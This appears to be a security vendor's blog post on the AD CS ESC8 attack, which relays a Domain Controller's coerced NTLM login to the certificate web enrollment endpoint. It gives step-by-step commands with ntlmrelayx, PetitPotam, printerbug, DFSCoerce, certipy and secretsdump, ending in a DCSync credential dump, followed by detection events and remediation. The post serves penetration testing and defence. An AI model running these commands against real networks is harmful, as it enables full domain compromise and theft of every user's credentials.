Every ESC vulnerability in AD CS is a misconfiguration. Most of them — ESC1 through ESC7 — require something wrong with a certificate template: supply requester SANs, enroll with a privileged account, exploit misconfigured ACLs. ESC8 is different. It does not require a misconfigured template. It does not require special permissions on any object. It exploits a feature that Active Directory Certificate Services ships with by default: a web enrollment endpoint that accepts NTLM authentication.

If the endpoint exists and NTLM is not blocked, any NTLM relay capability in the network becomes a direct path to Domain Admin. ADCS ESC8 is, in practice, the most impactful of all ESC vulnerabilities — not because it is clever, but because it is present in nearly every ADCS deployment and requires almost no preconditions.

MITRE ATT&CK: T1649 — Steal or Forge Authentication Certificates + T1557.001 — Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay

What Makes ESC8 Possible

When you install Active Directory Certificate Services with the Certification Authority Web Enrollment role, Windows provisions a web interface at http://CA-SERVER/certsrv/. This endpoint is designed to allow users and computers to request certificates through a browser. It supports NTLM authentication by default.

The attack exploits the standard NTLM relay primitive: coerce a machine to authenticate outbound, intercept that authentication, and relay it to a target service. In ESC8, the target service is the AD CS web enrollment endpoint. The machine you coerce is a Domain Controller.

The relay chain is:

Attacker coerces DC to authenticate to attacker-controlled host via SMB.
Attacker's relay tool receives the DC machine account's NTLM authentication.
Relay tool forwards that authentication to http://CA-SERVER/certsrv/certfnsh.asp.
CA issues a certificate for the DC machine account — because from the CA's perspective, the DC authenticated and requested it.
Attacker uses that certificate for PKINIT authentication, obtains the DC's TGT.
With the DC's TGT: DCSync. Game over.

Prerequisites for ESC8:

The Certification Authority Web Enrollment role is installed and the certsrv endpoint is reachable from the attacker's position.
The endpoint accepts NTLM authentication (default configuration).
The endpoint uses HTTP, or uses HTTPS without Extended Protection for Authentication (EPA) enforced.
An NTLM coercion technique works against a target that can authenticate to the CA (typically: any Domain Controller).

None of these are exotic. Web enrollment is commonly deployed to support legacy certificate workflows. HTTP is frequently used internally because "it's just internal." EPA is not enabled by default. The DomainController template is published by default. Every one of these defaults adds up to ESC8.

Attack Flow Step by Step

Step 1: Verify the endpoint

Confirm that certsrv exists and that NTLM authentication is being offered:

curl -I http://CA-SERVER/certsrv/

Look for WWW-Authenticate: NTLM in the 401 response. If you see it, the endpoint is vulnerable. If the response is 403 or the header is Negotiate only with EPA enforced, the default relay approach is blocked.

You can also enumerate this with certipy:

certipy find -u [email protected] -p 'Password123' -dc-ip DC-IP

Certipy's output will flag ESC8 if it detects a web enrollment endpoint accepting NTLM.

Step 2: Set up the relay listener

Use impacket's ntlmrelayx.py. Target the certfnsh.asp endpoint, which handles certificate requests:

ntlmrelayx.py -t http://CA-SERVER/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

The --adcs flag tells ntlmrelayx to use the ADCS relay module. --template DomainController requests a certificate using the built-in DomainController template, which grants machine authentication capability. The relay listener is now waiting for an inbound NTLM authentication.

Step 3: Coerce DC authentication

Trigger the Domain Controller to authenticate outbound to your host. Multiple techniques work:

PetitPotam (MS-EFSRPC abuse, unauthenticated in older configurations):

PetitPotam.py ATTACKER-IP DC-IP

PrinterBug (MS-RPRN, requires domain user credentials):

printerbug.py DOMAIN/user:password@DC-IP ATTACKER-IP

DFSCoerce (MS-DFSNM, requires domain user credentials):

DFSCoerce.py -u user -p password -d DOMAIN DC-IP ATTACKER-IP

Choose based on what is available in the environment. PetitPotam in its unauthenticated form is the most impactful because it requires no prior credentials. Many environments have patched unauthenticated PetitPotam but left authenticated coercion techniques available — which still work if you have any domain user account.

Step 4: Receive the certificate

When the coercion fires, the DC sends its NTLM authentication to your listener. ntlmrelayx relays it to certsrv, requests the certificate, and outputs a base64-encoded PFX:

[*] SMBD-Thread-4: Received connection from DC-IP
[*] Authenticating against http://CA-SERVER/certsrv/certfnsh.asp as DOMAIN\DC$
[*] Certificate successfully requested
[*] Base64 certificate: MIIJ...

Decode and save the certificate:

echo "MIIJ..." | base64 -d > dc.pfx

Step 5: Authenticate as the Domain Controller

Use certipy to authenticate with the certificate via PKINIT and retrieve the DC's TGT and NTLM hash:

certipy auth -pfx dc.pfx -dc-ip DC-IP

If PKINIT is available, certipy returns a .ccache TGT and the DC machine account's NTLM hash. If PKINIT is not available (unusual), use UnPAC-the-Hash techniques via Kerberos U2U.

Step 6: DCSync

With the DC's NTLM hash:

secretsdump.py -hashes ':NTLM_HASH' 'DOMAIN/DC$@DC-IP'

This performs a DCSync, dumping all domain credentials — including the krbtgt hash for golden ticket creation, and all domain user NTLM hashes.

ADscan detects ESC8 automatically during the ADCS scan phase. If the web enrollment endpoint responds to NTLM, the finding is flagged in the attack path graph alongside any available coercion techniques detected in the environment.

ADscan Workflow for ESC8

During an ADscan engagement, ADCS enumeration runs as part of the standard scan after authentication. ADscan checks for the presence of the web enrollment endpoint, whether the endpoint accepts NTLM, and whether the HTTP (non-EPA) configuration is in place.

If ESC8 conditions are met, ADscan flags the finding in the attack graph. The attack path is displayed in the interactive shell: you can see which coercion techniques are available in the environment (PetitPotam, PrinterBug, DFSCoerce) based on what was detected during enumeration, and trace the relay chain from NTLM coercion to DA.

ADscan PRO generates the client-facing finding automatically:

CVSS score (ESC8 is typically 9.8 — network-accessible, no privileges required, full domain compromise)
Available coercion techniques in the specific environment
Certificate template used
Step-by-step attack narrative for the report
Remediation guidance (EPA, HTTPS enforcement, web enrollment disablement)

Everything is client-ready from adscan deliver. No manual editing.

If you are running ADCS assessments regularly and spending time manually writing the ESC8 finding each time, request PRO beta access — 90 days free.

Why ESC8 is the Most Dangerous ESC

Compare ESC8 to ESC1. ESC1 requires a certificate template where the requester can specify a Subject Alternative Name (SAN), the template allows client authentication, and you have enrollment permissions. That is a misconfigured template — you need a specific object to be misconfigured in a specific way.

ESC8 requires: web enrollment exists. That is the entire precondition.

Web enrollment is not a mistake someone made in a template. It is a role that was installed — often years ago, often by a different team, often because someone needed to request certificates manually and never thought about NTLM relay. The DomainController template is published by default. NTLM authentication on the web endpoint is the default configuration.

Any target that can be coerced into NTLM authentication and can reach the CA becomes a path to domain compromise. Domain Controllers can always reach the CA — that is how certificate autoenrollment works. Exchange servers can be coerced. SQL servers with domain-joined accounts can be coerced. The attack surface is every coerceable machine that has network access to certsrv.

ESC1 is a finding you might see in some environments. ESC8 is a finding you will see in most environments that have ADCS with web enrollment.

Detection and Remediation

Detection

The certificate issuance events generated by ESC8 exploitation are:

Event ID 4886 (Certificate Services received a certificate request) — logged on the CA. Look for machine account requests (DC$, SERVER$) originating from unexpected sources, especially requests for the DomainController template initiated outside the normal autoenrollment window.
Event ID 4887 (Certificate Services approved a certificate request and issued a certificate) — logged on the CA. Correlate with 4886 to confirm issuance.

Additionally:

NTLM auditing (Event ID 4624 with NTLM auth, Event ID 4648 for explicit credential use) on the CA — flag machine account logons that do not originate from expected automation.
Microsoft Defender for Identity (MDI) includes a detection for NTLM relay attacks against AD CS.

The key signal: a DC machine account requesting a certificate for the DomainController template from an unexpected source IP, or at an unexpected time (outside scheduled autoenrollment).

Remediation

1. Enforce Extended Protection for Authentication (EPA) on the web enrollment endpoint. This is the primary mitigation. EPA binds the NTLM authentication to the TLS channel, preventing relay. Enable it in IIS on the CA server — set the certfnsh.asp application to require EPA (SslFlags: 4 for channel binding required).

2. Require HTTPS only. If certsrv is accessible over HTTP, the EPA binding has no TLS channel to bind to. Enforce HTTPS on the IIS site hosting certsrv. Self-signed certificates on the CA are acceptable for this purpose.

3. Disable web enrollment if not needed. The safest remediation is removing the attack surface entirely. If users and machines are enrolling via autoenrollment (Group Policy), web enrollment may not be needed at all. Uninstall the Certification Authority Web Enrollment role if it is not actively used.

4. Enable channel binding on the CA. Configure the CA to require LDAP channel binding in addition to EPA. This adds defense in depth for other relay scenarios.

5. Block NTLM coercion. Mitigating the coercion techniques reduces the ability to initiate the relay:

Disable the Print Spooler service on Domain Controllers (eliminates PrinterBug).
Block MS-EFSRPC on DCs via firewall rules or by disabling the service where possible (mitigates PetitPotam).
These are defense-in-depth measures, not substitutes for fixing the CA endpoint directly.

ADscan checks for EPA configuration on the web enrollment endpoint and flags the absence as part of the ESC8 finding.

Conclusion

ADCS ESC8 is present in most environments where Active Directory Certificate Services is deployed with web enrollment. It does not require a template misconfiguration, elevated permissions, or a complex exploit chain. It requires that a standard role is installed and that defaults have not been hardened — which describes the majority of production ADCS deployments.

The remediation is specific and well-understood: enforce EPA, enforce HTTPS, disable web enrollment if unused. But you cannot remediate what you have not found. Check your ADCS environment for ESC8 before an attacker does.

Download ADscan LITE (free, open source): https://github.com/ADScanPro/adscan
Request PRO beta access (90 days free): https://adscanpro.com/pro